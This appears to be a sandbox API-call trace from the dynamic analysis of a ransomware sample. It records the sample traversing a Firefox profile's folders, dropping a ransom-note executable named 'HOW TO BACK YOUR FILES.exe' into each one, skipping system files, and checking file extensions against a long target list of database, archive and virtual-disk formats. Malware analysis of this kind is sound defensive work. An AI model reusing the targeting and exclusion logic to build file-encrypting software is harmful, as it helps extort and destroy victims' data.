	[0042.728] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB") returned 97
	[0042.728] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB"
	[0042.728] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.728] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.734] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.734] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318bca10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318bca10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.735] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.735] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.735] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.735] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6ff4f30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318bca10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318bca10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.735] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.735] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.735] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.735] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.735] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x318bca10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x318bca10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0042.735] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0042.735] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="Apollon865.txt.exe") returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2=".") returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="..") returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="windows") returned -1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="bootmgr") returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="temp") returned -1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="pagefile.sys") returned -1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="boot") returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="ids.txt") returned 1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="ntuser.dat") returned -1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="perflogs") returned -1
	[0042.735] lstrcmpiW (lpString1="moz-safe-about+home", lpString2="MSBuild") returned -1
	[0042.735] lstrlenW (lpString="moz-safe-about+home") returned 19
	[0042.735] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\*") returned 99
	[0042.735] lstrcpyW (in: lpString1=0x2d3e614, lpString2="moz-safe-about+home" | out: lpString1="moz-safe-about+home") returned="moz-safe-about+home"
	[0042.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0042.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xec) returned 0x5994f0
	[0042.735] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0042.735] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 0
	[0042.736] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.736] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0042.736] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home"
	[0042.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0042.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0042.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home") returned 117
	[0042.736] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home"
	[0042.736] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.736] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.740] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318bca10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318bca10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.740] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.740] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.740] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.740] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318bca10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318bca10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.740] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.741] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.741] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.741] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0042.741] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb701b090, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb701b090, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="Apollon865.txt.exe") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2=".") returned 1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="..") returned 1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="windows") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="bootmgr") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="temp") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="pagefile.sys") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="boot") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="ids.txt") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="ntuser.dat") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="perflogs") returned -1
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2="MSBuild") returned -1
	[0042.741] lstrlenW (lpString=".metadata") returned 9
	[0042.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\*") returned 119
	[0042.741] lstrcpyW (in: lpString1=0x2d3e63c, lpString2=".metadata" | out: lpString1=".metadata") returned=".metadata"
	[0042.741] lstrlenW (lpString=".metadata") returned 9
	[0042.741] lstrlenW (lpString="Apollon865") returned 10
	[0042.741] lstrlenW (lpString=".dll") returned 4
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2=".dll") returned 1
	[0042.741] lstrlenW (lpString=".lnk") returned 4
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2=".lnk") returned 1
	[0042.741] lstrlenW (lpString=".ini") returned 4
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2=".ini") returned 1
	[0042.741] lstrlenW (lpString=".sys") returned 4
	[0042.741] lstrcmpiW (lpString1=".metadata", lpString2=".sys") returned -1
	[0042.741] lstrlenW (lpString=".metadata") returned 9
	[0042.741] lstrlenW (lpString="bak") returned 3
	[0042.741] lstrcmpiW (lpString1="ata", lpString2="bak") returned -1
	[0042.741] lstrlenW (lpString="ba_") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="ba_") returned -1
	[0042.742] lstrlenW (lpString="dbb") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="dbb") returned -1
	[0042.742] lstrlenW (lpString="vmdk") returned 4
	[0042.742] lstrcmpiW (lpString1="data", lpString2="vmdk") returned -1
	[0042.742] lstrlenW (lpString="rar") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="rar") returned -1
	[0042.742] lstrlenW (lpString="zip") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="zip") returned -1
	[0042.742] lstrlenW (lpString="tgz") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="tgz") returned -1
	[0042.742] lstrlenW (lpString="vbox") returned 4
	[0042.742] lstrcmpiW (lpString1="data", lpString2="vbox") returned -1
	[0042.742] lstrlenW (lpString="vdi") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="vdi") returned -1
	[0042.742] lstrlenW (lpString="vhd") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="vhd") returned -1
	[0042.742] lstrlenW (lpString="vhdx") returned 4
	[0042.742] lstrcmpiW (lpString1="data", lpString2="vhdx") returned -1
	[0042.742] lstrlenW (lpString="avhd") returned 4
	[0042.742] lstrcmpiW (lpString1="data", lpString2="avhd") returned 1
	[0042.742] lstrlenW (lpString="db") returned 2
	[0042.742] lstrcmpiW (lpString1="ta", lpString2="db") returned 1
	[0042.742] lstrlenW (lpString="db2") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="db2") returned -1
	[0042.742] lstrlenW (lpString="db3") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="db3") returned -1
	[0042.742] lstrlenW (lpString="dbf") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="dbf") returned -1
	[0042.742] lstrlenW (lpString="mdf") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="mdf") returned -1
	[0042.742] lstrlenW (lpString="mdb") returned 3
	[0042.742] lstrcmpiW (lpString1="ata", lpString2="mdb") returned -1
	[0042.742] lstrlenW (lpString="sql") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="sql") returned -1
	[0042.743] lstrlenW (lpString="sqlite") returned 6
	[0042.743] lstrcmpiW (lpString1="tadata", lpString2="sqlite") returned 1
	[0042.743] lstrlenW (lpString="sqlite3") returned 7
	[0042.743] lstrcmpiW (lpString1="etadata", lpString2="sqlite3") returned -1
	[0042.743] lstrlenW (lpString="sqlitedb") returned 8
	[0042.743] lstrcmpiW (lpString1="metadata", lpString2="sqlitedb") returned -1
	[0042.743] lstrlenW (lpString="xml") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="xml") returned -1
	[0042.743] lstrlenW (lpString="$er") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="$er") returned 1
	[0042.743] lstrlenW (lpString="4dd") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="4dd") returned 1
	[0042.743] lstrlenW (lpString="4dl") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="4dl") returned 1
	[0042.743] lstrlenW (lpString="^^^") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="^^^") returned 1
	[0042.743] lstrlenW (lpString="abs") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="abs") returned 1
	[0042.743] lstrlenW (lpString="abx") returned 3
	[0042.743] lstrcmpiW (lpString1="ata", lpString2="abx") returned 1
	[0042.743] lstrlenW (lpString="accdb") returned 5
	[0042.743] lstrcmpiW (lpString1="adata", lpString2="accdb") returned 1
	[0042.743] lstrlenW (lpString="accdc") returned 5
	[0042.743] lstrcmpiW (lpString1="adata", lpString2="accdc") returned 1
	[0042.743] lstrlenW (lpString="accde") returned 5
	[0042.743] lstrcmpiW (lpString1="adata", lpString2="accde") returned 1
	[0042.743] lstrlenW (lpString="accdr") returned 5
	[0042.743] lstrcmpiW (lpString1="adata", lpString2="accdr") returned 1
	[0042.743] lstrlenW (lpString="accdt") returned 5
	[0042.743] lstrcmpiW (lpString1="adata", lpString2="accdt") returned 1
	[0042.743] lstrlenW (lpString="accdw") returned 5
	[0042.743] lstrcmpiW (lpString1="adata", lpString2="accdw") returned 1
	[0042.743] lstrlenW (lpString="accft") returned 5
	[0042.743] lstrcmpiW (lpString1="adata", lpString2="accft") returned 1
	[0042.744] lstrlenW (lpString="adb") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="adb") returned 1
	[0042.744] lstrlenW (lpString="adb") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="adb") returned 1
	[0042.744] lstrlenW (lpString="ade") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="ade") returned 1
	[0042.744] lstrlenW (lpString="adf") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="adf") returned 1
	[0042.744] lstrlenW (lpString="adn") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="adn") returned 1
	[0042.744] lstrlenW (lpString="adp") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="adp") returned 1
	[0042.744] lstrlenW (lpString="alf") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="alf") returned 1
	[0042.744] lstrlenW (lpString="ask") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="ask") returned 1
	[0042.744] lstrlenW (lpString="btr") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="btr") returned -1
	[0042.744] lstrlenW (lpString="cat") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="cat") returned -1
	[0042.744] lstrlenW (lpString="cdb") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="cdb") returned -1
	[0042.744] lstrlenW (lpString="ckp") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="ckp") returned -1
	[0042.744] lstrlenW (lpString="cma") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="cma") returned -1
	[0042.744] lstrlenW (lpString="cpd") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="cpd") returned -1
	[0042.744] lstrlenW (lpString="dacpac") returned 6
	[0042.744] lstrcmpiW (lpString1="tadata", lpString2="dacpac") returned 1
	[0042.744] lstrlenW (lpString="dad") returned 3
	[0042.744] lstrcmpiW (lpString1="ata", lpString2="dad") returned -1
	[0042.744] lstrlenW (lpString="dadiagrams") returned 10
	[0042.745] lstrlenW (lpString="daschema") returned 8
	[0042.745] lstrcmpiW (lpString1="metadata", lpString2="daschema") returned 1
	[0042.745] lstrlenW (lpString="db-journal") returned 10
	[0042.745] lstrlenW (lpString="db-shm") returned 6
	[0042.745] lstrcmpiW (lpString1="tadata", lpString2="db-shm") returned 1
	[0042.745] lstrlenW (lpString="db-wal") returned 6
	[0042.745] lstrcmpiW (lpString1="tadata", lpString2="db-wal") returned 1
	[0042.745] lstrlenW (lpString="dbc") returned 3
	[0042.745] lstrcmpiW (lpString1="ata", lpString2="dbc") returned -1
	[0042.745] lstrlenW (lpString="dbs") returned 3
	[0042.745] lstrcmpiW (lpString1="ata", lpString2="dbs") returned -1
	[0042.745] lstrlenW (lpString="dbt") returned 3
	[0042.745] lstrcmpiW (lpString1="ata", lpString2="dbt") returned -1
	[0042.745] lstrlenW (lpString="dbv") returned 3
	[0042.745] lstrcmpiW (lpString1="ata", lpString2="dbv") returned -1
	[0042.745] lstrlenW (lpString="dbx") returned 3
	[0042.745] lstrcmpiW (lpString1="ata", lpString2="dbx") returned -1
	[0042.745] lstrlenW (lpString="dcb") returned 3
	[0042.746] lstrcmpiW (lpString1="ata", lpString2="dcb") returned -1
	[0042.746] lstrcmpiW (lpString1="ata", lpString2="dct") returned -1
	[0042.746] lstrcmpiW (lpString1="ata", lpString2="dcx") returned -1
	[0042.746] lstrcmpiW (lpString1="ata", lpString2="ddl") returned -1
	[0042.746] lstrcpyW (in: lpString1=0x2d3e63c, lpString2="idb" | out: lpString1="idb") returned="idb"
	[0042.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0042.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf4) returned 0x5994f0
	[0042.746] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0042.746] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8110d50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8110d50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="idb", cAlternateFileName="")) returned 0
	[0042.746] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0042.746] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0042.746] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb"
	[0042.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0042.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0042.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb") returned 121
	[0042.746] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb"
	[0042.746] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0042.746] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0042.753] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0042.753] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318e2b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318e2b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0042.753] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.753] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0042.753] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0042.753] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb701b090, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x318e2b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x318e2b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.753] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0042.753] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0042.753] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0042.753] lstrcmpiW (lpString1="..", lpString2="..") returned 0
